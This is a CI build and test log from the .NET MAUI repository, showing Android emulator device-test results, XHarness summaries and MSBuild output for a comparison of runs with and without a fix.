      05-29 10:19:21.490 19435 23369 I DOTNET  : 	[PASS] MinimumWidthInitializes
      05-29 10:19:21.491 19435 23369 I DOTNET  : 	[PASS] MinimumWidthInitializes
      05-29 10:19:21.494 19435 23369 I DOTNET  : 	[PASS] ContainerView Remains If Shadow Mapper Runs Again
      05-29 10:19:21.497 19435 23369 I DOTNET  : 	[PASS] ScaleY Initialize Correctly
      05-29 10:19:21.499 19435 23369 I DOTNET  : 	[PASS] ScaleY Initialize Correctly
      05-29 10:19:21.561 19435 23369 I DOTNET  : 	[PASS] Rotation Initialize Correctly
      05-29 10:19:21.564 19435 23369 I DOTNET  : 	[PASS] Rotation Initialize Correctly
      05-29 10:19:21.566 19435 23369 I DOTNET  : 	[PASS] Native View Bounding Box is not empty
      05-29 10:19:21.569 19435 23369 I DOTNET  : 	[PASS] Native View Bounding Box is not empty
      05-29 10:19:21.571 19435 23369 I DOTNET  : 	[PASS] Setting Semantic Description makes element accessible
      05-29 10:19:21.574 19435 23369 I DOTNET  : 	[PASS] TranslationY Initialize Correctly
      05-29 10:19:21.576 19435 23369 I DOTNET  : 	[PASS] TranslationY Initialize Correctly
      05-29 10:19:21.585 19435 23369 I DOTNET  : 	[PASS] Visibility is set correctly
      05-29 10:19:21.587 19435 23369 I DOTNET  : 	[PASS] Visibility is set correctly
      05-29 10:19:21.587 19435 23369 I DOTNET  : Microsoft.Maui.DeviceTests.FrameHandlerTest 0.7694370 ms
      05-29 10:19:21.587 19435 23369 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.ScrollViewTests
      05-29 10:19:21.805 19435 23374 I DOTNET  : 	[PASS] TestContentSizeChangedVertical
      05-29 10:19:22.024 19435 23381 I DOTNET  : 	[PASS] TestContentSizeChangedVertical
      05-29 10:19:22.259 19435 23388 I DOTNET  : 	[PASS] TestContentSizeChangedHorizontal
      05-29 10:19:22.476 19435 23396 I DOTNET  : 	[PASS] TestContentSizeChangedHorizontal
      05-29 10:19:22.796 19435 23401 I DOTNET  : 	[PASS] TestContentHorizontalOptionsChanged
      05-29 10:19:22.913 19435 23408 I DOTNET  : 	[PASS] TestScrollContentMargin
      05-29 10:19:23.027 19435 23415 I DOTNET  : 	[PASS] TestScrollContentMargin
      05-29 10:19:23.157 19435 23422 I DOTNET  : 	[PASS] TestScrollContentMargin
      05-29 10:19:23.312 19435 23427 I DOTNET  : 	[PASS] ScrollView's viewport fills available space if set to fill
      05-29 10:20:18.988 19435 23433 I DOTNET  : 	[PASS] ScrollView Does Not Leak
      05-29 10:20:19.113 19435 23438 I DOTNET  : 	[PASS] ScrollView inside layouts do not grow
      05-29 10:20:19.115 19435 23438 I DOTNET  : Microsoft.Maui.DeviceTests.ScrollViewTests 57.5177136 ms
      05-29 10:20:19.116 19435 23438 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.CarouselViewTests
      05-29 10:20:19.394 19435 23443 I DOTNET  : 	[PASS] HiddenCarouselViewNoCrash
      05-29 10:20:19.838 19435 23449 I DOTNET  : 	[PASS] DisconnectedCarouselViewDoesNotHookCollectionViewChanged
      05-29 10:20:22.060 19435 23454 I DOTNET  : 	[PASS] IndicatorView Provides Correct TalkBack Accessibility Description
      05-29 10:20:23.375 19435 23459 I DOTNET  : 	[PASS] Position Initializes Correctly
      05-29 10:20:24.673 19435 23464 I DOTNET  : 	[PASS] Position Initializes Correctly
      05-29 10:20:25.953 19435 23469 I DOTNET  : 	[PASS] Position Initializes Correctly
      05-29 10:20:26.308 19435 23474 I DOTNET  : 	[PASS] CarouselViewDataTemplateSelectorSelectorNoCrash
      05-29 10:20:26.308 19435 23474 I DOTNET  : Microsoft.Maui.DeviceTests.CarouselViewTests 7.1814438 ms
      05-29 10:20:26.359 19435 23429 I DOTNET  : Xml file was written to the provided writer.
      05-29 10:20:26.359 19435 23429 I DOTNET  : Tests run: 955 Passed: 942 Inconclusive: 0 Failed: 0 Ignored: 0
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
      {
        "version": 1,
        "machineName": "runnervmm79r7",
        "exitCode": 0,
        "exitCodeName": "SUCCESS",
        "platform": "android",
        "instrumentationExitCode": 0,
        "device": "emulator-5554",
        "deviceOsVersion": "API 30",
        "architecture": "x86_64",
        "files": [
          {
            "name": "testResults.xml",
            "type": "test-results"
          },
          {
            "name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
            "type": "logcat"
          }
        ]
      }
      <<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[40m�[32minfo�[39m�[22m�[49m: Successfully uninstalled com.microsoft.maui.controls.devicetests
XHarness exit code: 0
  Tests completed successfully

🟢 With fix — 📱 WindowHandlerStub: PASS ✅ · 1008s

(truncated to last 15,000 chars)

05:02.569 30623  1623 I DOTNET  : 	[PASS] InvokeJavaScriptMethodThatThrowsString
      05-29 11:05:03.255 30623  1629 I DOTNET  : 	[PASS] InvokeJavaScriptMethodThatThrowsNumber
      05-29 11:05:03.953 30623  1635 I DOTNET  : 	[PASS] InvokeJavaScriptMethodThatThrowsNumber
      05-29 11:05:04.644 30623  1642 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullsAndComplexResult
      05-29 11:05:05.326 30623  1648 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndVoidReturnUsingNullReturnMethod
      05-29 11:05:05.987 30623  1654 I DOTNET  : 	[PASS] InvokeJavaScriptMethodThatThrowsError
      05-29 11:05:06.683 30623  1660 I DOTNET  : 	[PASS] InvokeJavaScriptMethodThatThrowsError
      05-29 11:05:07.410 30623  1666 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndDoubleResult
      05-29 11:05:08.079 30623  1672 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndDoubleResult
      05-29 11:05:08.724 30623  1678 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndDoubleResult
      05-29 11:05:09.440 30623  1684 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNewIntResult
      05-29 11:05:10.149 30623  1690 I DOTNET  : 	[PASS] RequestFileFromJS
      05-29 11:05:10.847 30623  1697 I DOTNET  : 	[PASS] RequestFileFromJS
      05-29 11:05:11.508 30623  1703 I DOTNET  : 	[PASS] InvokeJavaScriptMethodThatThrowsTypedNumber
      05-29 11:05:12.400 30623  1709 I DOTNET  : 	[PASS] InvokeJavaScriptMethodThatThrowsTypedNumber
      05-29 11:05:13.090 30623  1715 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
      05-29 11:05:13.784 30623  1721 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
      05-29 11:05:14.447 30623  1727 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
      05-29 11:05:15.090 30623  1733 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableIntResult
      05-29 11:05:15.771 30623  1739 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndStringResult
      05-29 11:05:16.459 30623  1745 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndStringResult
      05-29 11:05:17.122 30623  1751 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndStringResult
      05-29 11:05:17.795 30623  1757 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndStringResult
      05-29 11:05:18.442 30623  1763 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndStringResult
      05-29 11:05:19.137 30623  1769 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
      05-29 11:05:19.876 30623  1775 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
      05-29 11:05:20.545 30623  1781 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
      05-29 11:05:21.202 30623  1787 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNullableDoubleResult
      05-29 11:05:21.947 30623  1793 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndDecimalResult
      05-29 11:05:22.630 30623  1799 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndVoidReturnUsingObjectReturnMethod
      05-29 11:05:23.273 30623  1805 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNewStringResult
      05-29 11:05:23.947 30623  1811 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndBoolResult
      05-29 11:05:24.627 30623  1817 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndBoolResult
      05-29 11:05:25.311 30623  1823 I DOTNET  : 	[PASS] InvokeAsyncJavaScriptMethodWithParametersAndComplexResult
      05-29 11:05:25.981 30623  1831 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndNewDoubleResult
      05-29 11:05:26.644 30623  1837 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndIntResult
      05-29 11:05:27.329 30623  1843 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndIntResult
      05-29 11:05:28.026 30623  1850 I DOTNET  : 	[PASS] InvokeJavaScriptMethodWithParametersAndIntResult
      05-29 11:05:28.026 30623  1850 I DOTNET  : Microsoft.Maui.DeviceTests.HybridWebViewTests_InvokeJavaScriptAsync 28.2351397 ms
      05-29 11:05:28.026 30623  1850 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.RefreshViewTests
      05-29 11:05:28.158 30623  1856 I DOTNET  : 	[PASS] Setting the content of RefreshView removes previous platform view from visual tree
      05-29 11:05:28.158 30623  1856 I DOTNET  : 	[PASS] IsRefreshEnabled can be set to false
      05-29 11:05:28.159 30623  1856 I DOTNET  : 	[PASS] Setting IsRefreshEnabled to false while refreshing stops refresh
      05-29 11:05:28.159 30623  1856 I DOTNET  : 	[PASS] IsRefreshEnabled defaults to true
      05-29 11:05:28.160 30623  1856 I DOTNET  : 	[PASS] IsEnabled prevents IsRefreshing from being set to true
      05-29 11:05:28.160 30623  1856 I DOTNET  : 	[PASS] Setting IsEnabled to false while refreshing stops refresh
      05-29 11:05:28.161 30623  1856 I DOTNET  : 	[PASS] IsRefreshEnabled prevents IsRefreshing from being set to true
      05-29 11:05:28.161 30623  1856 I DOTNET  : 	[PASS] IsRefreshing can be set to false when IsRefreshEnabled is false
      05-29 11:05:28.161 30623  1856 I DOTNET  : Microsoft.Maui.DeviceTests.RefreshViewTests 0.1317000 ms
      05-29 11:05:28.161 30623  1856 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.FrameTests
      05-29 11:05:28.381 30623  1862 I DOTNET  : 	[PASS] Frame Respects minimum height/width
      05-29 11:05:28.521 30623  1868 I DOTNET  : 	[PASS] FrameIncludesPadding
      05-29 11:05:29.678 30623  1876 I DOTNET  : 	[PASS] FrameContentAccountsForBorderThickness
      05-29 11:05:29.823 30623  1884 I DOTNET  : 	[PASS] Update Frame Content Test
      05-29 11:05:29.826 30623  1884 I DOTNET  : 	[PASS] Frame BorderColor Initializes Correctly
      05-29 11:05:29.917 30623  1891 I DOTNET  : 	[PASS] Frame BorderColor Initializes Correctly
      05-29 11:05:29.925 30623  1891 I DOTNET  : 	[PASS] Frame BorderColor Initializes Correctly
      05-29 11:05:30.427 30623  1897 I DOTNET  : 	[PASS] FrameIncludesBorderThickness
      05-29 11:05:30.545 30623  1904 I DOTNET  : 	[PASS] Frame With Entry Measures
      05-29 11:05:30.707 30623  1910 I DOTNET  : 	[PASS] FrameDoesNotInterpretConstraintsAsMinimums
      05-29 11:05:30.711 30623  1910 I DOTNET  : 	[PASS] Frame BackgroundColor Initializes Correctly
      05-29 11:05:30.745 30623  1915 I DOTNET  : 	[PASS] Frame BackgroundColor Initializes Correctly
      05-29 11:05:30.784 30623  1915 I DOTNET  : 	[PASS] Frame BackgroundColor Initializes Correctly
      05-29 11:05:31.338 30623  1920 I DOTNET  : 	[PASS] Basic Frame Test
      05-29 11:05:31.459 30623  1926 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 11:05:31.577 30623  1932 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 11:05:31.703 30623  1938 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 11:05:31.826 30623  1944 I DOTNET  : 	[PASS] FramesWithinFrames
      05-29 11:05:31.827 30623  1944 I DOTNET  : Microsoft.Maui.DeviceTests.FrameTests 3.5384027 ms
      05-29 11:05:31.827 30623  1944 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.PickerTests
      05-29 11:05:31.992 30623  1949 I DOTNET  : 	[PASS] PickerBackgroundColorConsistent
      05-29 11:05:32.030 30623  1949 I DOTNET  : 	[PASS] ItemsUpdateWithCollectionChanges
      05-29 11:05:32.036 30623  1949 I DOTNET  : 	[PASS] RotationYConsistent
      05-29 11:05:32.043 30623  1949 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 11:05:32.048 30623  1949 I DOTNET  : 	[PASS] VerifyPickerOpacityProperty
      05-29 11:05:32.051 30623  1949 I DOTNET  : 	[PASS] ScaleYConsistent
      05-29 11:05:32.054 30623  1949 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 11:05:32.056 30623  1949 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 11:05:32.061 30623  1949 I DOTNET  : 	[PASS] ItemsUpdateWithNewItemSource
      05-29 11:05:32.064 30623  1949 I DOTNET  : 	[PASS] RotationConsistent
      05-29 11:05:32.064 30623  1949 I DOTNET  : Microsoft.Maui.DeviceTests.PickerTests 0.2309609 ms
      05-29 11:05:32.064 30623  1949 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_SetInvokeJavaScriptTarget
      05-29 11:05:33.219 30623  1955 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:34.442 30623  1961 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:35.638 30623  1967 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:36.855 30623  1975 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:38.066 30623  1981 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:39.361 30623  1987 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:40.572 30623  1993 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:41.767 30623  1999 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:42.977 30623  2005 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:44.162 30623  2011 I DOTNET  : 	[PASS] InvokeDotNet
      05-29 11:05:44.162 30623  2011 I DOTNET  : Microsoft.Maui.DeviceTests.HybridWebViewTests_SetInvokeJavaScriptTarget 12.0656559 ms
      05-29 11:05:44.162 30623  2011 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_EvaluateJavaScriptAsync
      05-29 11:05:44.841 30623  2017 I DOTNET  : 	[PASS] EvaluateJavaScriptAndGetResult
      05-29 11:05:44.841 30623  2017 I DOTNET  : Microsoft.Maui.DeviceTests.HybridWebViewTests_EvaluateJavaScriptAsync 0.6782869 ms
      05-29 11:05:44.841 30623  2017 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.StaticResourceTests
      05-29 11:05:44.845 30623  2017 I DOTNET  : 	[PASS] Issue #23903: Missing ControlTemplate with exception handler should throw
      05-29 11:05:44.845 30623  2017 I DOTNET  : Microsoft.Maui.DeviceTests.StaticResourceTests 0.0029874 ms
      05-29 11:05:44.845 30623  2017 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage
      05-29 11:05:46.615 30623  2023 I DOTNET  : 	[PASS] LoadsHtmlAndSendReceiveRawMessage
      05-29 11:05:46.615 30623  2023 I DOTNET  : Microsoft.Maui.DeviceTests.HybridWebViewTests_SendRawMessage 1.7612278 ms
      05-29 11:05:46.615 30623  2023 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.CarouselViewTests
      05-29 11:05:46.948 30623  2028 I DOTNET  : 	[PASS] HiddenCarouselViewNoCrash
      05-29 11:05:47.343 30623  2034 I DOTNET  : 	[PASS] DisconnectedCarouselViewDoesNotHookCollectionViewChanged
      05-29 11:05:49.553 30623  2039 I DOTNET  : 	[PASS] IndicatorView Provides Correct TalkBack Accessibility Description
      05-29 11:05:50.857 30623  2044 I DOTNET  : 	[PASS] Position Initializes Correctly
      05-29 11:05:52.173 30623  2049 I DOTNET  : 	[PASS] Position Initializes Correctly
      05-29 11:05:53.474 30623  2054 I DOTNET  : 	[PASS] Position Initializes Correctly
      05-29 11:05:53.780 30623  2059 I DOTNET  : 	[PASS] CarouselViewDataTemplateSelectorSelectorNoCrash
      05-29 11:05:53.781 30623  2059 I DOTNET  : Microsoft.Maui.DeviceTests.CarouselViewTests 7.1602947 ms
      05-29 11:05:53.781 30623  2059 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.VisualElementRendererTests
      05-29 11:05:53.805 30623  2059 I DOTNET  : 	[PASS] CompatibilityRendererWorksWithNoInnerContrlSpecified
      05-29 11:05:53.806 30623  2059 I DOTNET  : Microsoft.Maui.DeviceTests.VisualElementRendererTests 0.0243032 ms
      05-29 11:05:53.806 30623  2059 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.ImageTests
      05-29 11:05:53.913 30623  2065 I DOTNET  : 	[PASS] ScaleXConsistent
      05-29 11:05:53.915 30623  2065 I DOTNET  : 	[PASS] RotationConsistent
      05-29 11:05:53.917 30623  2065 I DOTNET  : 	[PASS] ScaleYConsistent
      05-29 11:05:55.070 30623  2073 I DOTNET  : 	[PASS] ImageSetFromStreamRenders
      05-29 11:05:55.091 30623  2079 I DOTNET  : 	[PASS] RotationYConsistent
      05-29 11:05:55.207 30623  2084 I DOTNET  : 	[PASS] ImageBackgroundColorConsistent
      05-29 11:05:55.253 30623  2089 I DOTNET  : 	[PASS] CachingDisabledForImagesLoadViaInputStreams
      05-29 11:05:55.256 30623  2089 I DOTNET  : 	[PASS] ScaleConsistent
      05-29 11:05:55.392 30623  2094 I DOTNET  : 	[PASS] ImageWithUndefinedSizeAndWithBackgroundSetRenders
      05-29 11:05:55.446 30623  2094 I DOTNET  : 	[PASS] VerifyImageOpacityProperty
      05-29 11:05:55.449 30623  2094 I DOTNET  : 	[PASS] RotationXConsistent
      05-29 11:05:55.449 30623  2094 I DOTNET  : Microsoft.Maui.DeviceTests.ImageTests 1.6318039 ms
      05-29 11:05:55.449 30623  2094 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.MapperTests
      05-29 11:05:55.452 30623  2094 I DOTNET  : 	[PASS] ValidateMapperGenerics
      05-29 11:05:55.452 30623  2094 I DOTNET  : 	[PASS] ValidateMapperGenerics
      05-29 11:05:55.452 30623  2094 I DOTNET  : Microsoft.Maui.DeviceTests.MapperTests 0.0009907 ms
      05-29 11:05:55.452 30623  2094 I DOTNET  : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization
      05-29 11:05:56.110 30623  2100 I DOTNET  : 	[PASS] CanSetUserAgentUsingProperties
      05-29 11:05:56.828 30623  2106 I DOTNET  : 	[PASS] CanSetUserAgentUsingInitializingEvent
      05-29 11:05:57.491 30623  2113 I DOTNET  : 	[PASS] InitializedEventIsRaised
      05-29 11:05:58.193 30623  2120 I DOTNET  : 	[PASS] InitializingEventIsRaised
      05-29 11:05:58.838 30623  2127 I DOTNET  : 	[PASS] InitializingEventIsRaisedAndPropertiesSetAreApplied
      05-29 11:05:58.838 30623  2127 I DOTNET  : Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization 3.3823530 ms
      05-29 11:05:58.907 30623  1636 I DOTNET  : Xml file was written to the provided writer.
      05-29 11:05:58.908 30623  1636 I DOTNET  : Tests run: 955 Passed: 942 Inconclusive: 0 Failed: 0 Ignored: 0
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
      {
        "version": 1,
        "machineName": "runnervmm79r7",
        "exitCode": 0,
        "exitCodeName": "SUCCESS",
        "platform": "android",
        "instrumentationExitCode": 0,
        "device": "emulator-5554",
        "deviceOsVersion": "API 30",
        "architecture": "x86_64",
        "files": [
          {
            "name": "testResults.xml",
            "type": "test-results"
          },
          {
            "name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
            "type": "logcat"
          }
        ]
      }
      <<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[40m�[32minfo�[39m�[22m�[49m: Successfully uninstalled com.microsoft.maui.controls.devicetests
XHarness exit code: 0
  Tests completed successfully

🔴 Without fix — 🖥️ Issue28117: FAIL ✅ · 656s
  Determining projects to restore...
  Restored /home/vsts/work/1/s/src/Graphics/src/Graphics/Graphics.csproj (in 1.16 sec).
  Restored /home/vsts/work/1/s/src/Essentials/src/Essentials.csproj (in 1.16 sec).
  Restored /home/vsts/work/1/s/src/Core/maps/src/Maps.csproj (in 243 ms).
  Restored /home/vsts/work/1/s/src/Core/src/Core.csproj (in 318 ms).
  Restored /home/vsts/work/1/s/src/Controls/src/Xaml/Controls.Xaml.csproj (in 76 ms).
  Restored /home/vsts/work/1/s/src/Controls/src/Core/Controls.Core.csproj (in 55 ms).
  Restored /home/vsts/work/1/s/src/Controls/src/BindingSourceGen/Controls.BindingSourceGen.csproj (in 74 ms).
  Restored /home/vsts/work/1/s/src/Controls/Maps/src/Controls.Maps.csproj (in 83 ms).
  Restored /home/vsts/work/1/s/src/Controls/Foldable/src/Controls.Foldable.csproj (in 615 ms).
  Restored /home/vsts/work/1/s/src/BlazorWebView/src/Maui/Microsoft.AspNetCore.Components.WebView.Maui.csproj (in 232 ms).
  Restored /home/vsts/work/1/s/src/Controls/tests/TestCases.HostApp/Controls.TestCases.HostApp.csproj (in 1.64 sec).
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0-android36.0/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0-android36.0/Microsoft.Maui.Essentials.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0-android36.0/Microsoft.Maui.dll
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Maps -> /home/vsts/work/1/s/artifacts/bin/Maps/Debug/net10.0-android36.0/Microsoft.Maui.Maps.dll
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0-android36.0/Microsoft.Maui.Controls.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.Xaml/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Xaml.dll
  Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Microsoft.AspNetCore.Components.WebView.Maui/Debug/net10.0-android36.0/Microsoft.AspNetCore.Components.WebView.Maui.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.Foldable/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Foldable.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.Maps/Debug/net10.0-android36.0/Microsoft.Maui.Controls.Maps.dll
  Controls.TestCases.HostApp -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Controls.TestCases.HostApp.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Essentials.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.dll
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Maps.dll
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Foldable -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Foldable.dll
  Controls.Xaml -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Xaml.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Microsoft.AspNetCore.Components.WebView.Maui -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.AspNetCore.Components.WebView.Maui.dll
  Controls.Maps -> /home/vsts/work/1/s/artifacts/bin/Controls.TestCases.HostApp/Debug/net10.0-android/Microsoft.Maui.Controls.Maps.dll

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:08:05.42
Broadcasting: Intent { act=android.intent.action.CLOSE_SYSTEM_DIALOGS flg=0x400000 }
Broadcast completed: result=0
  Determining projects to restore...
  Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.NUnit/UITest.NUnit.csproj (in 2.13 sec).
  Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.Core/UITest.Core.csproj (in 4 ms).
  Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.Appium/UITest.Appium.csproj (in 1.91 sec).
  Restored /home/vsts/work/1/s/src/TestUtils/src/VisualTestUtils.MagickNet/VisualTestUtils.MagickNet.csproj (in 5.93 sec).
  Restored /home/vsts/work/1/s/src/TestUtils/src/UITest.Analyzers/UITest.Analyzers.csproj (in 2.21 sec).
  Restored /home/vsts/work/1/s/src/Controls/tests/CustomAttributes/Controls.CustomAttributes.csproj (in 6 ms).
  Restored /home/vsts/work/1/s/src/TestUtils/src/VisualTestUtils/VisualTestUtils.csproj (in 3 ms).
  Restored /home/vsts/work/1/s/src/Controls/tests/TestCases.Android.Tests/Controls.TestCases.Android.Tests.csproj (in 1.11 sec).
  5 of 13 projects are up-to-date for restore.
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Graphics -> /home/vsts/work/1/s/artifacts/bin/Graphics/Debug/net10.0/Microsoft.Maui.Graphics.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Essentials -> /home/vsts/work/1/s/artifacts/bin/Essentials/Debug/net10.0/Microsoft.Maui.Essentials.dll
  Controls.CustomAttributes -> /home/vsts/work/1/s/artifacts/bin/Controls.CustomAttributes/Debug/net10.0/Controls.CustomAttributes.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Core -> /home/vsts/work/1/s/artifacts/bin/Core/Debug/net10.0/Microsoft.Maui.dll
  Controls.BindingSourceGen -> /home/vsts/work/1/s/artifacts/bin/Controls.BindingSourceGen/Debug/netstandard2.0/Microsoft.Maui.Controls.BindingSourceGen.dll
  ##vso[build.updatebuildnumber]10.0.80-ci+azdo.14232462
  Controls.Core -> /home/vsts/work/1/s/artifacts/bin/Controls.Core/Debug/net10.0/Microsoft.Maui.Controls.dll
  UITest.Core -> /home/vsts/work/1/s/artifacts/bin/UITest.Core/Debug/net10.0/UITest.Core.dll
  VisualTestUtils -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils/Debug/netstandard2.0/VisualTestUtils.dll
  UITest.NUnit -> /home/vsts/work/1/s/artifacts/bin/UITest.NUnit/Debug/net10.0/UITest.NUnit.dll
  VisualTestUtils.MagickNet -> /home/vsts/work/1/s/artifacts/bin/VisualTestUtils.MagickNet/Debug/netstandard2.0/VisualTestUtils.MagickNet.dll
